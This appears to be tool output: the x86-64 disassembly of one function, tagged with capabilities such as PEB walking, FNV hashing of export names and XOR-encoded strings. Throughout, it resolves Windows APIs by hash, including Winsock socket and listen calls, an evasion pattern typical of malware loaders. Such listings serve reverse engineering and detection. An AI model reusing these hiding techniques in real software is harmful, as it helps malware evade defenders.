Function at 0x1800f6490
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r15, rcx
xor r12d, r12d
mov rsi, qword [0x18024bbb8]
test rsi, rsi
jne 0x1800f6576
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
mov rax, qword [rdx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800f6557
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800f6557
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x27a96ec2
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800f6552
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1800f6530
cmp edx, 0xdc3511b3
je 0x1800f68a1
test r8d, r8d
jne 0x1800f6510
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1800f656c
cmp qword [rax + 0x30], r12
jne 0x1800f64e0
mov rsi, r12
mov qword [0x18024bbb8], rsi
mov rdi, qword [0x18024bc68]
test rdi, rdi
jne 0x1800f6636
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov r11, rbp
nop dword [rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800f6617
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800f6617
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x28a97055
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800f6612
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1800f65f0
cmp edx, 0xa5c0598c
je 0x1800f68bd
test r8d, r8d
jne 0x1800f65d0
mov rax, qword [r11]
mov r11, rax
cmp rax, rbp
je 0x1800f662c
cmp qword [rax + 0x30], r12
jne 0x1800f65a0
mov rdi, r12
mov qword [0x18024bc68], rdi
mov ecx, dword [0x180248ca8]
mov rax, qword gs:[0x58]
mov r14, qword [rax + rcx*8]
mov ecx, 0x544
mov eax, dword [rcx + r14]
mov ebx, 0x5c0
add rbx, r14
test al, 1
jne 0x1800f668f
or eax, 1
mov dword [rcx + r14], eax
mov word [rbx + 0xb], 0x18f
mov dword [rbx], 0xea8e6551
mov dword [rbx + 4], 0x63f253d1
mov word [rbx + 8], 0x7b53
mov byte [rbx + 0xa], 0x87
lea rcx, [0x1801e2bd0]
call fcn.18015cf9c
nop
cmp byte [rbx + 0xc], 0
je 0x1800f66c8
xor byte [rbx], 0x37
xor byte [rbx + 1], 0x17
xor byte [rbx + 2], 0xeb
xor byte [rbx + 3], 0x8f
xor byte [rbx + 4], 0xb3
xor byte [rbx + 5], 0x3f
xor byte [rbx + 6], 0xc1
xor byte [rbx + 7], 0x4d
xor byte [rbx + 8], 0x37
xor byte [rbx + 9], 0x17
xor byte [rbx + 0xa], 0xeb
xor byte [rbx + 0xb], 0x8f
mov byte [rbx + 0xc], 0
mov rcx, rbx
call rdi
mov rcx, rax
call rsi
mov rsi, qword [0x18024bc78]
test rsi, rsi
jne 0x1800f6797
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800f6777
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800f6777
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x2fabb9f1
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800f6772
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1800f6750
cmp edx, 0x18ab7902
je 0x1800f68d9
test r8d, r8d
jne 0x1800f6730
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1800f678d
cmp qword [rax + 0x30], 0
jne 0x1800f6700
mov rsi, r12
mov qword [0x18024bc78], rsi
mov rdi, qword [0x18024bba0]
test rdi, rdi
jne 0x1800f6857
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov r11, rbp
nop
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800f6837
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800f6837
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x2eabb85e
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800f6832
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1800f6810
cmp edx, 0x1f6897e3
je 0x1800f68f5
test r8d, r8d
jne 0x1800f67f0
mov rax, qword [r11]
mov r11, rax
cmp rax, rbp
je 0x1800f684d
cmp qword [rax + 0x30], 0
jne 0x1800f67c0
mov rdi, r12
mov qword [0x18024bba0], rdi
mov ecx, 0x5d0
mov eax, dword [rcx + r14]
mov edx, 0x5b0
test al, 1
jne 0x1800f6911
or eax, 1
mov dword [rcx + r14], eax
lea rbx, [r14 + rdx]
mov dword [rbx + 0xa], 0x1ffe983
mov dword [rbx], 0xf189f2cc
mov dword [rbx + 4], 0xcac72c90
mov word [rbx + 8], 0xf991
lea rcx, [0x1801e2ba0]
call fcn.18015cf9c
nop
jmp 0x1800f6915
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov esi, dword [rcx + rax*4]
add rsi, r9
jmp 0x1800f656f
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edi, dword [rcx + rax*4]
add rdi, r9
jmp 0x1800f662f
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov esi, dword [rcx + rax*4]
add rsi, r9
jmp 0x1800f6790
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edi, dword [rcx + rax*4]
add rdi, r9
jmp 0x1800f6850
lea rbx, [rdx + r14]
cmp byte [rbx + 0xd], 0
je 0x1800f6950
xor byte [rbx], 0xbf
xor byte [rbx + 1], 0x9d
xor byte [rbx + 2], 0xef
xor byte [rbx + 3], 0x85
not byte [rbx + 4]
xor byte [rbx + 5], 0x47
xor byte [rbx + 6], 0xa9
xor byte [rbx + 7], 0xf9
xor byte [rbx + 8], 0xbf
xor byte [rbx + 9], 0x9d
xor byte [rbx + 0xa], 0xef
xor byte [rbx + 0xb], 0x85
not byte [rbx + 0xc]
mov byte [rbx + 0xd], 0
mov rcx, rbx
call rdi
mov rcx, rax
call rsi
mov rsi, qword [0x18024bbc0]
test rsi, rsi
jne 0x1800f6a27
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800f6a07
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800f6a07
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xd44aac43
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800f6a02
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1800f69e0
cmp edx, 0x3cdd93b4
je 0x1800f6b26
test r8d, r8d
jne 0x1800f69c0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1800f6a1d
cmp qword [rax + 0x30], 0
jne 0x1800f6990
mov rsi, r12
mov qword [0x18024bbc0], rsi
mov rdi, qword [0x18024bc50]
test rdi, rdi
jne 0x1800f6ae7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov r11, rbp
nop
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800f6ac7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800f6ac7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xd34aaab0
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800f6ac2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1800f6aa0
cmp edx, 0x6f08f251
je 0x1800f6b42
test r8d, r8d
jne 0x1800f6a80
mov rax, qword [r11]
mov r11, rax
cmp rax, rbp
je 0x1800f6add
cmp qword [rax + 0x30], 0
jne 0x1800f6a50
mov rdi, r12
mov qword [0x18024bc50], rdi
mov ecx, 0x758
mov eax, dword [rcx + r14]
mov edx, 0x4e8
test al, 1
jne 0x1800f6b5b
or eax, 1
mov dword [rcx + r14], eax
lea rbx, [rdx + r14]
mov dword [rbx + 6], 0x183e941
mov dword [rbx], 0xeaac9ced
mov word [rbx + 4], 0x81f3
lea rcx, [0x1801e2b70]
call fcn.18015cf9c
nop
jmp 0x1800f6b5f
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov esi, dword [rcx + rax*4]
add rsi, r9
jmp 0x1800f6a20
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edi, dword [rcx + rax*4]
add rdi, r9
jmp 0x1800f6ae0
lea rbx, [rdx + r14]
cmp byte [rbx + 9], 0
je 0x1800f6b8c
xor byte [rbx], 0x83
xor byte [rbx + 1], 0xef
xor byte [rbx + 2], 0xdf
xor byte [rbx + 3], 0xd9
xor byte [rbx + 4], 0xdd
xor byte [rbx + 5], 0xe5
xor byte [rbx + 6], 0x2d
xor byte [rbx + 7], 0x85
xor byte [rbx + 8], 0x83
mov byte [rbx + 9], 0
mov rcx, rbx
call rdi
mov rcx, rax
call rsi
mov rsi, qword [0x18024bbf0]
test rsi, rsi
jne 0x1800f6c57
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800f6c37
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800f6c37
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + rdi]
add rcx, r9
mov edx, 0x48dd8582
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800f6c32
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1800f6c10
cmp edx, 0x20dea73
je 0x1800f6d60
test r8d, r8d
jne 0x1800f6bf0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1800f6c4d
cmp qword [rax + 0x30], 0
jne 0x1800f6bc0
mov rsi, r12
mov qword [0x18024bbf0], rsi
mov rdi, qword [0x18024bbe0]
test rdi, rdi
jne 0x1800f6d17
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov r11, rbp
nop
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800f6cf7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800f6cf7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + rdi]
add rcx, r9
mov edx, 0x49dd8715
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800f6cf2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1800f6cd0
cmp edx, 0x9051e4c
je 0x1800f6d7c
test r8d, r8d
jne 0x1800f6cb0
mov rax, qword [r11]
mov r11, rax
cmp rax, rbp
je 0x1800f6d0d
cmp qword [rax + 0x30], 0
jne 0x1800f6c80
mov rdi, r12
mov qword [0x18024bbe0], rdi
mov ecx, 0x734
mov eax, dword [rcx + r14]
mov edx, 0x450
test al, 1
jne 0x1800f6d98
or eax, 1
mov dword [rcx + r14], eax
lea rbx, [rdx + r14]
mov word [rbx + 0xb], 0x1b5
mov dword [rbx], 0xd21b2c86
mov dword [rbx + 4], 0x31404457
mov word [rbx + 8], 0x2f8f
mov byte [rbx + 0xa], reloc.WS2_32.dll_listen
lea rcx, [0x1801e2b40]
call fcn.18015cf9c
nop
jmp 0x1800f6d9c
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov esi, dword [rcx + rax*4]
add rsi, r9
jmp 0x1800f6c50
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edi, dword [rcx + rax*4]
add rdi, r9
jmp 0x1800f6d10
lea rbx, [rdx + r14]
cmp byte [rbx + 0xc], 0
je 0x1800f6dd5
xor byte [rbx], 0xeb
xor byte [rbx + 1], 0x43
xor byte [rbx + 2], 0x61
xor byte [rbx + 3], 0xb5
xor byte [rbx + 4], 0x3b
xor byte [rbx + 5], 0x31
xor byte [rbx + 6], 0x25
xor byte [rbx + 7], 0x1f
xor byte [rbx + 8], 0xeb
xor byte [rbx + 9], 0x43
xor byte [rbx + 0xa], 0x61
xor byte [rbx + 0xb], 0xb5
mov byte [rbx + 0xc], 0
mov rcx, rbx
call rdi
mov rcx, rax
call rsi
mov rsi, qword [0x18024bc48]
test rsi, rsi
jne 0x1800f6ea7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800f6e87
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800f6e87
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + rdi]
add rcx, r9
mov edx, 0x12d1783e
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800f6e82
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1800f6e60
cmp edx, 0x824821a7
je 0x1800f6fb0
test r8d, r8d
jne 0x1800f6e40
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1800f6e9d
cmp qword [rax + 0x30], 0
jne 0x1800f6e10
mov rsi, r12
mov qword [0x18024bc48], rsi
mov rdi, qword [0x18024bbd0]
test rdi, rdi
jne 0x1800f6f67
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov r11, rbp
nop
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800f6f47
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800f6f47
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + rdi]
add rcx, r9
mov edx, 0x13d179d1
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800f6f42
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1800f6f20
cmp edx, 0xaaab9dc0
je 0x1800f6fcc
test r8d, r8d
jne 0x1800f6f00
mov rax, qword [r11]
mov r11, rax
cmp rax, rbp
je 0x1800f6f5d
cmp qword [rax + 0x30], 0
jne 0x1800f6ed0
mov rdi, r12
mov qword [0x18024bbd0], rdi
mov ecx, 0x4f4
mov eax, dword [rcx + r14]
mov edx, 0x600
test al, 1
jne 0x1800f6fe8
or eax, 1
mov dword [rcx + r14], eax
lea rbx, [r14 + rdx]
mov word [rbx + 0xb], 0x113
mov dword [rbx], 0x7014bc18
mov dword [rbx + 4], 0x659fba92
mov word [rbx + 8], 0xa30b
mov byte [rbx + 0xa], reloc.WS2_32.dll_socket
lea rcx, [0x1801e2b10]
call fcn.18015cf9c
nop
jmp 0x1800f6fec
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov esi, dword [rcx + rax*4]
add rsi, r9
jmp 0x1800f6ea0
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edi, dword [rcx + rax*4]
add rdi, r9
jmp 0x1800f6f60
lea rbx, [rdx + r14]
cmp byte [rbx + 0xc], 0
je 0x1800f7025
xor byte [rbx], 0x6f
xor byte [rbx + 1], 0xcf
xor byte [rbx + 2], 0x7b
xor byte [rbx + 3], 0x13
xor byte [rbx + 4], 0xf9
xor byte [rbx + 5], 0x89
xor byte [rbx + 6], 0xad
xor byte [rbx + 7], 0x4b
xor byte [rbx + 8], 0x6f
xor byte [rbx + 9], 0xcf
xor byte [rbx + 0xa], 0x7b
xor byte [rbx + 0xb], 0x13
mov byte [rbx + 0xc], 0
mov rcx, rbx
call rdi
mov rcx, rax
call rsi
mov rsi, qword [0x18024bc80]
test rsi, rsi
jne 0x1800f70f7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800f70d7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800f70d7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x263f7517
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800f70d2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1800f70b0
cmp edx, 0x30fe9ca0
je 0x1800f71f7
test r8d, r8d
jne 0x1800f7090
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1800f70ed
cmp qword [rax + 0x30], 0
jne 0x1800f7060
mov rsi, r12
mov qword [0x18024bc80], rsi
mov rdi, qword [0x18024bbd8]
test rdi, rdi
jne 0x1800f71b7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov r11, rbp
nop
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800f7197
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800f7197
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x253f7384
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800f7192
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1800f7170
cmp edx, 0x36b20a8d
je 0x1800f7213
test r8d, r8d
jne 0x1800f7150
mov rax, qword [r11]
mov r11, rax
cmp rax, rbp
je 0x1800f71ad
cmp qword [rax + 0x30], 0
jne 0x1800f7120
mov rdi, r12
mov qword [0x18024bbd8], rdi
mov ecx, 0x448
mov eax, dword [rcx + r14]
mov edx, 0x5f0
test al, 1
jne 0x1800f722c
or eax, 1
mov dword [rcx + r14], eax
lea rbx, [r14 + rdx]
mov dword [rbx + 8], 0x1a55753
mov dword [rbx], 0x40974848
mov dword [rbx + 4], 0xff59dd94
lea rcx, [0x1801e2ae0]
call fcn.18015cf9c
nop
jmp 0x1800f7230
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov esi, dword [rcx + rax*4]
add rsi, r9
jmp 0x1800f70f0
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edi, dword [rcx + rax*4]
add rdi, r9
jmp 0x1800f71b0
lea rbx, [rdx + r14]
cmp byte [rbx + 0xb], 0
je 0x1800f7265
xor byte [rbx], 0x3f
xor byte [rbx + 1], 0x3b
xor byte [rbx + 2], 0xa5
xor byte [rbx + 3], 0x1f
xor byte [rbx + 4], 0xa7
xor byte [rbx + 5], 0xef
xor byte [rbx + 6], 0x77
xor byte [rbx + 7], 0x9b
xor byte [rbx + 8], 0x3f
xor byte [rbx + 9], 0x3b
xor byte [rbx + 0xa], 0xa5
mov byte [rbx + 0xb], 0
mov rcx, rbx
call rdi
mov rcx, rax
call rsi
mov qword [r15], r12
mov qword [r15 + 8], r12
mov qword [r15 + 0x10], r12
mov qword [r15 + 0x18], r12
mov qword [r15 + 0x20], r12
mov qword [r15 + 0x28], r12
mov qword [r15 + 0x30], r12
xor eax, eax
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret